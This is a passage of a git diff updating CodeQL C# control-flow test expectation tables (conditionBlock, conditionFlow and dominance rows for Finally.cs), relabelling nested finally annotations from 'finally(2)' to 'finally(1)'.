variable i | Finally.cs:96:17:98:17 | [finally: return] {...} | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | {...} | true | | Finally.cs:78:9:100:9 | {...} | Finally.cs:82:21:82:27 | return ...; | true | @@ -1385,17 +1385,17 @@ conditionBlock | Finally.cs:78:9:100:9 | {...} | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | false | | Finally.cs:78:9:100:9 | {...} | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | true | | Finally.cs:78:9:100:9 | {...} | Finally.cs:93:31:93:45 | object creation of type Exception | false | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | false | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | false | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | false | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | false | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: break] {...} | false | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | false | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | false | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: continue] {...} | false | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | true | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | true | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: return] {...} | true | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | {...} | false | | Finally.cs:82:21:82:27 | return ...; | Finally.cs:93:25:93:46 | [finally: return] throw ...; | true | | Finally.cs:82:21:82:27 | return ...; | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | true | -| Finally.cs:82:21:82:27 | return ...; | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | true | +| Finally.cs:82:21:82:27 | return ...; | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | true | | Finally.cs:82:21:82:27 | return ...; | Finally.cs:96:17:98:17 | [finally: return] {...} | false | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:84:21:84:29 | continue; | true | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:85:17:86:26 | if (...) ... | false | @@ -1407,15 +1407,15 @@ conditionBlock | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | false | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | true | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:93:31:93:45 | object creation of type Exception | false | -| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | false | -| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | false | +| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | false | +| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | false | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break] {...} | false | -| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | true | +| Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | true | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | [finally: continue] {...} | true | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:96:17:98:17 | {...} | false | | Finally.cs:84:21:84:29 | continue; | Finally.cs:93:25:93:46 | [finally: continue] throw ...; | true | | Finally.cs:84:21:84:29 | continue; | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | true | -| Finally.cs:84:21:84:29 | continue; | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | true | +| Finally.cs:84:21:84:29 | continue; | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | true | | Finally.cs:84:21:84:29 | continue; | Finally.cs:96:17:98:17 | [finally: continue] {...} | false | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:86:21:86:26 | break; | true | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:89:13:99:13 | {...} | false | @@ -1423,17 +1423,17 @@ conditionBlock | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:93:25:93:46 | throw ...; | false | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | true | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:93:31:93:45 | object creation of type Exception | false | -| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | false | -| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | true | +| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | false | +| Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | true | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | [finally: break] {...} | true | | Finally.cs:85:17:86:26 | if (...) ... | Finally.cs:96:17:98:17 | {...} | false | | Finally.cs:86:21:86:26 | break; | Finally.cs:93:25:93:46 | [finally: break] throw ...; | true | | Finally.cs:86:21:86:26 | break; | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | true | -| Finally.cs:86:21:86:26 | break; | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | true | +| Finally.cs:86:21:86:26 | break; | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | true | | Finally.cs:86:21:86:26 | break; | Finally.cs:96:17:98:17 | [finally: break] {...} | false | | Finally.cs:89:13:99:13 | {...} | Finally.cs:93:25:93:46 | throw ...; | true | | Finally.cs:89:13:99:13 | {...} | Finally.cs:93:31:93:45 | object creation of type Exception | true | -| Finally.cs:89:13:99:13 | {...} | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | true | +| Finally.cs:89:13:99:13 | {...} | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | true | | Finally.cs:89:13:99:13 | {...} | Finally.cs:96:17:98:17 | {...} | false | | Finally.cs:107:33:107:33 | 0 | Finally.cs:108:17:108:23 | return ...; | true | | Finally.cs:107:33:107:33 | 0 | Finally.cs:109:13:110:49 | if (...) ... | false | @@ -1624,19 +1624,19 @@ conditionBlock | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:205:31:205:46 | object creation of type ExceptionB | false | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | false | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | true | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | false | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | true | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | true | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:208:13:210:13 | {...} | false | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | false | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | false | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | false | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | false | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | true | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:209:31:209:46 | object creation of type ExceptionC | false | | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:211:13:211:29 | ...; | false | @@ -1644,36 +1644,36 @@ conditionBlock | Finally.cs:195:10:195:12 | enter M10 | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | true | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | true | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | true | -| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | true | +| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | true | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | false | -| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | false | | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | false | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | true | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | true | -| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | true | +| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | true | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | false | -| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | false | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | false | | Finally.cs:202:9:212:9 | {...} | Finally.cs:205:25:205:47 | throw ...; | true | | Finally.cs:202:9:212:9 | {...} | Finally.cs:205:31:205:46 | object creation of type ExceptionB | true | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | true | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | true | | Finally.cs:202:9:212:9 | {...} | Finally.cs:208:13:210:13 | {...} | false | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | | Finally.cs:202:9:212:9 | {...} | Finally.cs:209:31:209:46 | object creation of type ExceptionC | false | | Finally.cs:202:9:212:9 | {...} | Finally.cs:211:13:211:29 | ...; | false | -| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | -| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | -| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | true | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | true | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | false | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | true | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | true | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | false | | Finally.cs:208:13:210:13 | {...} | Finally.cs:209:31:209:46 | object creation of type ExceptionC | true | @@ -1688,10 +1688,10 @@ conditionBlock | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | true | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | true | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | false | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | false | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | true | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | true | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | true | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | true | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | {...} | false | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:254:13:254:44 | call to method WriteLine | false | @@ -1699,15 +1699,15 @@ conditionBlock | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | {...} | false | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | true | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | true | -| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | true | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | true | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | false | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | true | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | true | -| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | true | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | true | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | false | | Finally.cs:243:13:253:13 | {...} | Finally.cs:247:25:247:47 | throw ...; | true | | Finally.cs:243:13:253:13 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | true | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | true | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | true | | Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | {...} | false | | Finally.cs:243:13:253:13 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | false | | Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | false | @@ -2688,14 +2688,14 @@ conditionFlow | Finally.cs:205:21:205:22 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | false | | Finally.cs:205:21:205:22 | access to parameter b2 | Finally.cs:205:31:205:46 | object creation of type ExceptionB | true | | Finally.cs:205:21:205:22 | access to parameter b2 | Finally.cs:208:13:210:13 | {...} | false | -| Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | true | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | false | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | true | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | true | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | true | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | true | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | true | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | false | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:209:31:209:46 | object creation of type ExceptionC | true | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index cb972e9d844..64faed12b0c 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -1852,36 +1852,36 @@ dominance | Finally.cs:92:30:92:30 | [finally: continue] 3 | Finally.cs:92:25:92:30 | [finally: continue] ... == ... | | Finally.cs:92:30:92:30 | [finally: return] 3 | Finally.cs:92:25:92:30 | [finally: return] ... == ... | | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: break] throw ...; | -| Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: continue] throw ...; | -| Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:93:25:93:46 | [finally: return] throw ...; | -| Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:93:25:93:46 | throw ...; | -| Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | +| Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:97:21:97:24 | [finally: break] ...; | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:97:21:97:24 | [finally: continue] ...; | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | | Finally.cs:96:17:98:17 | [finally: return] {...} | 